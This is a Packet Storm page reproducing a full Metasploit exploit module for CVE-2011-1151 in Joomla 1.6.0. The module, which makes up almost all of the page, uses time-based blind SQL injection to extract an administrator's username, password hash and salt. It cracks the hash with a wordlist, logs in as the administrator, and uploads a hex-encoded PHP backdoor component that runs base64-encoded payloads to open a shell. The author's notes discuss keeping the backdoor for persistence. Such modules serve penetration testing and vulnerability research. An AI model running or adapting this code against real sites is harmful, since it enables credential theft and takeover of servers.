Lucene search

K
packetstormJames BercegayPACKETSTORM:100971
HistoryApr 29, 2011 - 12:00 a.m.

Joomla 1.6.0 SQL Injection / PHP Execution

2011-04-2900:00:00
James Bercegay
packetstormsecurity.com
32

0.003 Low

EPSS

Percentile

68.4%

`# Requirements  
require 'msf/core'  
  
# Class declaration  
class Metasploit3 < Msf::Exploit::Remote  
  
# Includes  
include Msf::Exploit::Remote::HttpClient  
  
# Initialize module  
def initialize(info = {})  
  
# Initialize information  
super(update_info(info,  
'Name' => 'Joomla 1.6.0 // SQL Injection -> PHP Execution',  
'Description' => %q{  
A vulnerability was discovered by Aung Khant that allows for exploitable SQL Injection attacks   
against a Joomla 1.6.0 install. This exploit attempts to leverage the SQL Injection to extract  
admin credentials, and use those credentials to execute arbitrary PHP code against the target.  
The vulnerability is due to a validation issue in /components/com_content/models/category.php  
that erroneously uses the "string" type whenever filtering the user supplied input. This issue   
was fixed by performing a whitelist check of the user supplied order data against the allowed   
order types, and also escaping the input.  
  
NOTES:  
------------------------------------------------  
* Do not set the BMCT option too high!  
* Do not set the BMCT option too low either ...  
* A delay of about three to five seconds is ideal  
* Increase BMRC if you have issues with reliability  
* For added stealth delete the wrapper component. I  
was gooing to automate this step, but figured,   
after asking around that most would want the   
persistence vs. the stealth.  
},  
'Author' =>   
[   
# Exploit Only (Bug credit to Aung Khant)  
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2011-1151' ],  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'March 17, 2011',  
'DefaultTarget' => 0 ))  
  
register_options(  
[  
# Required  
OptString.new('JDIR', [true, 'Joomla directory', '/']),  
  
# The number of function iterations to run during the benchmark  
OptInt.new('BMCT', [true, 'Benchmark Counter', 500000 ]),  
  
# This is the benchmark delay threshold (in seconds)  
OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]),  
  
# The number of benchmark tests to make during each data request.  
# This number may be increased for accuracy if you have problems.  
OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),  
  
# Wordlist location  
OptString.new('WLIST', [true, 'Wordlist location (i.e. /home/foo/bar.txt)', nil ]),  
  
# Optional  
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),  
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),  
OptInt.new( 'RLIM', [false, 'Random string limit' , 8 ]),  
  
# Database prefix  
OptString.new('PREF', [false, 'Database prefixt', 'jos_' ]),  
  
# URI used to trigger the bug  
OptString.new('JURI', [false, 'URI to trigger bug', "index.php/extensions/components/" ]),  
  
# Query used to trigger bug  
OptString.new('JQRY', [false, 'URI to trigger bug', "filter_order_Dir=1&filter_order=" ]),  
  
], self.class)  
end  
#################################################  
  
# Extract "Set-Cookie"  
def init_cookie(data, cstr = true)  
  
# Raw request? Or cookie data specifically?  
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data  
  
# Beginning  
if ( data )  
  
# Break them apart  
data = data.split(', ')  
  
# Initialize  
ctmp = ''  
tmps = {}  
  
# Parse cookies  
data.each do | x |  
  
# Remove extra data  
x = x.split(';')[0]  
  
# Seperate cookie pairs  
if ( x =~ /([^;\s]+)=([^;\s]+)/im )  
  
# Key  
k = $1  
  
# Val  
v = $2  
  
# Valid cookie value?  
if ( v.length() > 0 )  
  
# Build cookie hash  
tmps[k] = v  
  
# Report cookie status  
print_status("Got Cookie: #{k} => #{v}");  
end  
end  
end  
  
# Build string data  
if ( cstr == true )  
  
# Loop  
tmps.each do |x,y|   
  
# Cookie key/value  
ctmp << "#{x}=#{y};"   
end  
  
# Assign  
tmps['cstr'] = ctmp  
end  
  
# Return  
return tmps  
else  
# Something may be wrong  
init_debug("No cookies within the given response")  
end  
end  
  
#################################################  
  
# Simple debugging output  
def init_debug(resp, exit = 0)  
  
# is DBUG set? Check it  
if ( datastore['DBUG'] )  
  
# Print debugging data  
print_status("######### DEBUG! ########")  
pp resp  
print_status("#########################")  
end  
  
# Continue execution  
if ( exit.to_i > 0 )  
  
# Exit  
exit(0)  
end  
  
end  
  
#################################################  
  
# Generic post wrapper  
def http_post(url, data, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?   
headers['Content-Type'] : "application/x-www-form-urlencoded"  
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['JDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},   
timeout )  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic post multipart wrapper   
def http_post_multipart(url, data, headers = {}, timeout = 15)  
  
# Boundary string  
bndr = Rex::Text.rand_text_alphanumeric(8)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?   
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Init  
temp = ''  
  
# Parse form values  
data.each do |name, value|  
  
# Hash means file data  
if ( value.is_a?(Hash) )  
  
# Validate form fields  
filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)  
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)  
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)  
encoding = value['encoding'] ? value['encoding']: "Binary"  
  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"  
temp << "Content-Type: #{mimetype}\r\n"  
temp << "Content-Transfer-Encoding: #{encoding}\r\n"  
temp << "\r\n"  
temp << "#{contents}\r\n"  
  
else  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"  
temp << "\r\n"  
temp << "#{value}\r\n"  
end  
end  
  
# Complete the form data  
temp << "--#{bndr}--\r\n"  
  
# Assigned  
data = temp   
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['JDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},   
timeout)  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic get wrapper  
def http_get(url, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value // Also, remove post specific data, due to a bug ...  
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Send request  
resp = send_request_raw({  
'uri' => datastore['JDIR'] + url,  
'headers' => headers,  
'method' => 'GET',  
}, timeout)  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Used to perform benchmark querys  
def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )  
  
# Init  
wait = 0  
  
# Defaults  
table = table ? table: 'users'  
  
# SQL Injection string used to trigger the MySQL BECNHMARK() function  
sqli = Rex::Text.uri_encode("( SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} ),")  
  
# Number of tests to run. We run this  
# amount of tests and then look for a  
# median value that is greater than  
# the benchmark difference.  
tnum = tnum ? tnum: datastore['BMRC']  
  
# Run the tests  
tnum.to_i.times do | i |  
  
# Start time  
bmc1 = Time.now.to_i  
  
# Make the request  
init_debug(http_post(datastore['JURI'], "#{datastore['JQRY']}#{sqli}"))  
  
# End time  
bmc2 = Time.now.to_i  
  
# Total time  
wait += bmc2 - bmc1  
end  
  
# Return the results  
return ( wait.to_i / tnum.to_i )  
  
end  
  
#################################################  
  
def get_password(hash, salt, opts = nil)  
  
# Wordlist  
wlst = datastore['WLIST']  
  
# Init  
cntr = 0  
  
# Verbose  
print_status("Attempting to crack admin password hash")  
  
# Valid hash length only  
if ( hash.length != 32 )  
  
# Failure  
print_error("Invalid Joomla MD5 hash: #{hash.to_s}")  
return nil  
end  
  
# Does the wordlist exist?  
if ( !File.exist?(wlst) )  
  
# Failure  
print_error("Unable to load wordlist: #{wlst}")  
return nil  
else  
  
# Load the wordlist file  
list = File.readlines(wlst)  
end  
  
# Verbose  
print_status("Loaded #{list.count.to_s} words from the specified list")  
print_status("This may take quite some time ...")  
  
# Start time  
bmc1 = Time.now.to_i  
  
# Loop through list  
list.each do | word |  
  
# Cleanup  
word = word.strip  
  
# Counter  
cntr = cntr + 1  
  
# Attempt to find the plaintext password  
if ( hash == Rex::Text.md5(word + salt) )  
  
# Success!  
print_status("Successfully cracked the following hash")  
print_status("#{hash} => #{salt} == #{word}")  
  
# Ended time  
bmc2 = Time.now.to_i  
  
# Duration  
bmc3 = bmc2 - bmc1  
bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"  
  
# Verbose  
print_status("Operation completed in #{bmc3}")  
  
# Return  
return word  
end # if  
end # each  
  
# Failure  
print_error("Unable to crack the following hash")  
print_error("#{hash} => #{salt} == ???")  
  
# Ended time  
bmc2 = Time.now.to_i  
  
# Duration  
bmc3 = bmc2 - bmc1  
bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"  
  
# Verbose  
print_status("Operation completed in #{bmc3}")  
  
# Return  
return nil  
end  
  
#################################################  
  
def get_users_data(snum, slim, cset, sqlf, sqlw)  
  
# Start time  
tot1 = Time.now.to_i  
  
# Initialize  
reqc = 0  
retn = String.new  
  
# Extract salt  
for i in snum..slim  
  
# Offset position  
oset = ( i - snum ) + 1  
  
# Loop charset  
for cbit in cset  
  
# Test character  
cbit.each do | cchr |  
  
# Start time (overall)  
bmc1 = Time.now.to_i  
  
# Benchmark query  
bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "users", sqlw, datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# Verbose  
print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))  
  
# Append chr  
retn << cchr  
  
# Exit loop  
break  
end   
  
# Counter  
reqc += 1  
  
end # each   
end # for  
  
# Host not vulnerable?  
if ( oset != retn.length )  
  
# Failure  
print_error("Unable to extract character ##{oset.to_s}. Extraction failed!")  
return nil  
end  
end # for  
  
# End time (total)  
tot2 = Time.now.to_i  
  
# Benchmark totals  
tot3 = tot2 - tot1  
  
# Verbose  
print_status("Found data: #{retn}")  
print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )")  
  
# Return  
return retn  
end  
  
#################################################   
  
def check  
  
# Random string  
rand = Rex::Text.rand_text_alpha(10)  
  
# Trigger an SQL error  
resp = http_post(datastore['JURI'], "#{datastore['JQRY']}#{rand}")  
  
# Attempt to extract the table prefix  
if ( resp.body =~ /ORDER BY \s*#{rand}/ )  
  
# Vulnerable  
return Exploit::CheckCode::Vulnerable  
else  
  
# Not vulnerable  
return Exploit::CheckCode::Safe  
end  
end  
  
#################################################  
  
def exploit  
  
# Numeric test string  
tstr = Time.now.to_i.to_s  
  
# MD5 test string  
tmd5 = Rex::Text.md5(tstr)  
  
# Encoded payload  
load = payload.encoded  
  
# Globally accessable URI to trigger bug  
datastore['JURI'] = "index.php/extensions/components/"  
  
# Globally accessable query to trigger bug  
datastore['JQRY'] = "filter_order_Dir=1&filter_order="  
  
# Header ...  
head = "Initializing exploit code ...\n"  
head << "################################################\n"  
head << "# Joomla! 1.6.0 SQL Injection -> PHP execution #\n"  
head << "################################################\n"  
head << "# By James Bercegay # http://www.gulftech.org/ #\n"  
head << "################################################"  
print_status(head)  
  
#################################################  
# STEP 01 // Attempt to extract Joomla version  
#################################################  
  
# Verbose  
print_status("Attempting to determine Joomla version")  
  
# Banner grab request  
resp = http_get("index.php")  
  
# Extract Joomla version information  
if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )  
  
# Version  
vers = $1.strip   
  
# Version "parts"  
ver1, ver2, ver3 = vers.split(/\./)  
  
# Only if 1.6.0 aka 1.6  
if ( ver2.to_i != 6 || ver3 )  
  
# Exploit failed  
print_error("Only Joomla versions 1.6.0 and earlier are vulnerable")  
print_error("Proceed with extreme caution, as the exploit may fail")  
init_debug(resp)  
else  
  
# Verbose  
print_status("The target is running Joomla version : #{vers}")  
end  
else  
  
# Verbose  
print_error("Unable to determine Joomla version ...")  
end  
  
#################################################  
# STEP 02 // Trigger an SQL error in order to get  
# the database table prefix for future use.  
#################################################  
  
# Trigger an SQL error  
resp = http_post(datastore['JURI'], "#{datastore['JQRY']}#{tmd5}")  
  
# Attempt to extract the table prefix  
if ( resp.body =~ /ORDER BY \s*#{tmd5}/ && resp.body =~ /FROM ([^\s]*)content / )  
  
# Prefix  
datastore['PREF'] = $1  
  
# Verbose  
print_status("Host appears vulnerable!")  
print_status("Got database table prefix : #{datastore['PREF']}")  
end  
  
#################################################  
# STEP 03 // Calculate BENCHMARK() response times  
#################################################  
  
# Verbose  
print_status("Calculating target response times")  
print_status("Benchmarking #{datastore['BMRC']} normal requests")  
  
# Normal request median (globally accessible)  
datastore['BMC0'] = sql_benchmark("1=2")  
  
# Verbose   
print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")  
print_status("Benchmarking #{datastore['BMRC']} delayed requests")  
  
# Delayed request median  
bmc1 = sql_benchmark("1=1")  
  
# Verbose  
print_status("Delayed request avg: #{bmc1.to_s} seconds")  
  
# Benchmark totals  
bmct = bmc1 - datastore['BMC0']  
  
# Delay too small. The host may not be  
# vulnerable. Try increasing the BMCT.  
if ( bmct.to_i < datastore['BMDF'].to_i )  
  
# Verbose  
print_error("Either your benchmark threshold is too small, or host is not vulnerable")  
print_error("To increase the benchmark threshold adjust the value of the BMDF option")  
print_error("To increase the expression iterator adjust the value of the BMCT option")  
return  
else  
# Host appears exploitable  
print_status("Request Difference: #{bmct.to_s} seconds")  
end  
  
#################################################  
# STEP 04 // Attempting to find a valid admin id  
#################################################  
  
atot = 0 # Total admins  
scnt = 0 # Step counter  
step = 10 # Step increment  
slim = 10000 # Step limit  
  
# 42 is the hard coded base uid within Joomla ...   
# ... and the answer to the ultimate question! ;]  
snum = ( !defined?(auid) ) ? 42: auid  
  
# Verbose  
print_status("Calculating total number of administrators")  
  
# Check how many admin accounts are in the database  
for i in 0..slim do  
  
# Benchmark   
bmcv = sql_benchmark("1", "user_usergroup_map", "group_id=8 LIMIT #{i.to_s},1", datastore['BMRC'])  
  
# If we do not have a delay, then we have reached the end ...  
if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )  
  
# Range  
atot = i  
  
# Verbose  
print_status("Successfully confirmed #{atot.to_s} admin accounts")  
  
# Exit loop  
break  
end   
end  
  
# Loops until limit  
while ( snum < slim && scnt < atot )  
  
# Verbose  
print_status("Attempting to find a valid admin ID")  
  
# Verbose  
print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")  
  
# Here we attempt to find a valid admin user id by incrementally searching the table  
# "user_usergroup_map" for users belonging to the user group 8, which is, by default  
# the admin user group. First we step through 10 at a time until we pass up a usable  
# admin id, then we step back by #{step} and increment by one until we have a match.  
for i in snum.step(slim, step)  
  
# Benchmark   
bmcv = sql_benchmark("#{i} > user_id", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# Range  
itmp = i  
  
# Exit loop  
break  
else  
  
# Out of time ..  
if ( i == slim )  
  
# Failure  
print_error("Unable to find a valid user id. Exploit failed!")  
return  
end  
  
end   
end  
  
# Jump back by #{step} and increment by one  
for i in ( itmp - step ).upto(( itmp + step ))  
  
# Benchmark   
bmcv = sql_benchmark("user_id = #{i}", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# UserID  
auid = i  
  
# Verbose  
print_status("Found a valid admin account uid : #{auid.to_s}")  
  
# Step Counter  
scnt += 1  
  
# Exit loop  
break  
else  
  
# Out of time ..  
if ( i == ( itmp + step ) )  
  
# Failure  
print_error("Unable to find a valid user id. Exploit failed!")  
return  
end  
end   
end  
  
#################################################  
# These are the charsets used for the enumeration  
# operations and can be easily expanded if needed  
#################################################  
  
# Hash charset a-f0-9  
hdic = [ ('a'..'f'), ('0'..'9') ]  
  
# Salt charset a-zA-Z0-9  
sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]  
  
# Username charset  
udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]  
  
#################################################  
# STEP 05 // Attempt to extract admin pass hash  
#################################################  
  
# Verbose  
print_status("Attempting to gather admin password hash")  
  
# Get pass hash  
if ( !( hash = get_users_data(  
1, # Length Start  
32, # Length Maximum  
hdic, # Charset Array  
"password", # SQL Field name  
"id=#{auid.to_s}" # SQL Where data  
) ) )  
  
# Failure  
print_error("Unable to gather admin pass hash. Exploit failed!!")  
return  
end  
  
#################################################  
# STEP 06 // Attempt to extract admin pass salt  
#################################################  
  
# Verbose  
print_status("Attempting to gather admin password salt")  
  
# Get pass salt  
if ( !( salt = get_users_data(  
34, # Length Start  
65, # Length Maximum  
sdic, # Charset Array  
"password", # SQL Field name  
"id=#{auid.to_s}" # SQL Where data  
) ) )  
  
# Failure  
print_error("Unable to gather admin pass salt. Exploit failed!!")  
return  
end  
  
#################################################  
# STEP 07 // Attempt to crack the extracted hash  
#################################################  
  
# Attempt to crack password hash  
pass = get_password(hash, salt)  
  
# Got pass?  
if ( pass )  
  
#################################################  
# STEP 08 // Attempt to extract admin username  
#################################################  
  
# Verbose  
print_status("Attempting to determine target username length")  
  
# Hard limit is 150  
for i in 1.upto(150)  
  
# Benchmark   
bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", "users", "id=#{auid.to_s}", datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# Length  
ulen = i  
  
# Verbose  
print_status("The username is #{i.to_s} characters long")  
  
# Exit loop  
break  
end   
end  
  
# Verbose  
print_status('Gathering admin username')  
  
# Get pass salt  
if ( !( user = get_users_data(  
1, # Length Start  
ulen, # Length Maximum  
udic, # Charset Array  
"username", # SQL Field name  
"id=#{auid.to_s}" # SQL Where data  
) ) )  
  
# Failure  
print_error("Unable to gather admin user name. Exploit failed!!")  
return  
end  
  
# Verbose   
print_status("Attempting to extract a valid request token")  
  
# Request a valid token  
resp = http_get("administrator/index.php")  
  
# Extract token  
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )  
  
# Token  
rtok = $1  
  
# Verbose  
print_status("Got token: #{rtok}")  
else  
  
# Failure  
print_error("Unable to extract request token. Exploit failed!")  
init_debug(resp)  
return  
end  
  
# Init cookie  
cook = init_cookie(resp)  
  
# Build headers for authenticated session  
hdrs = { "Cookie" => cook['cstr'] }  
  
#################################################  
# STEP 09 // Attempt to authenticate as the admin  
#################################################  
  
# Verbose  
print_status("Attempting to login as: #{user}")   
  
# Post data for login request  
post = "username=#{user}&passwd=#{pass}&lang=&option=com_login&task=login&#{rtok}=1"  
  
# Login request  
resp = http_post("administrator/index.php", post, hdrs)  
  
# Authentication successful???  
if ( resp && resp.code == 303 )  
  
# Success  
print_status("Successfully logged in as: #{user}")   
else  
  
# Failure  
print_error("Unable to authenticate. Exploit failed!")  
init_debug(resp)  
return  
end   
  
#################################################  
# STEP 10 // Upload wrapper and execute payload!  
#################################################  
  
# Verbose   
print_status("Attempting to extract refreshed request token")  
  
# Request a valid token (again)  
resp = http_get("administrator/index.php?option=com_installer", hdrs)   
  
# Extract token  
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )  
  
# Token  
rtok = $1  
  
# Verbose  
print_status("Got token: #{rtok}")  
else  
  
# Failure  
print_error("Unable to extract request token. Exploit failed!")  
init_debug(resp.body)  
return  
end  
  
# Component specific data  
cstr = "joomla"  
czip = "com_#{cstr}.zip"  
curi = "components/com_#{cstr}/#{cstr}.php"   
  
#################################################  
# Our Joomla specific PHP payload wrapper that is  
# used to have more flexibility when delivering a  
# selected payload to a target. The wrapper is in   
# the Joomla! 1.6 compononent format and can also   
# be used with other Joomla exploits.  
#################################################  
#  
# Type: Joomla 1.6 Component  
# File: com_joomla/joomla.xml <-- installer file  
# com_joomla/joomla.php <-- component file  
#  
# Data: <?php  
# # Modify settings  
# error_reporting(0);  
# ini_set('max_execution_time', 0);  
#  
# # Execute the selected payload, and delete the wrapper  
# @eval(base64_decode(file_get_contents('php://input')));  
# ?>  
#################################################  
  
# Hex encoded component zip data  
wrap = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"  
wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"  
wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"  
wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"  
wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"  
wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"  
wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"  
wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"  
wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"  
wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"  
wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"  
wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"  
wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"  
wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"  
wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"  
wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"  
wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"  
wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"  
wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"  
wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"  
wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"  
wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"  
wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"  
wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"  
wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"  
wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"  
wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"  
wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"  
wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"  
wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"  
wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"  
wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"  
wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"  
wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"  
wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"  
wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"  
wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"  
wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"  
wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"  
wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"  
wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"  
wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"  
wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"  
wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"  
wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"  
wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"  
wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"  
wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"  
wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"  
  
# Verbose  
print_status("Attempting to upload payload wrapper component")  
  
# Post data  
data = {  
  
# Component data  
'install_package' =>   
{   
'filename' => czip,  
'contents' => wrap,  
'mimetype' => 'application/zip',  
'encoding' => 'binary',  
},  
  
# Required install params  
"installtype" => "upload",  
"task" => "install.install",  
"#{rtok}" => "1",  
}  
  
# Upload the wrapper component  
init_debug(http_post_multipart("administrator/index.php?option=com_installer&view=install", data, hdrs))  
  
# Deliver the selected payload to the target  
init_debug(http_post(curi, Rex::Text.encode_base64(load)))  
  
# Shell  
handler  
return  
else  
  
# Verbose  
print_error("Failed to crack hash. Searching for new admin account ...")  
end # if  
end # while  
  
# Verbose  
print_error("Unable to crack any admin hashes. Try a better wordlist?")  
return  
end  
end`

0.003 Low

EPSS

Percentile

68.4%

Related for PACKETSTORM:100971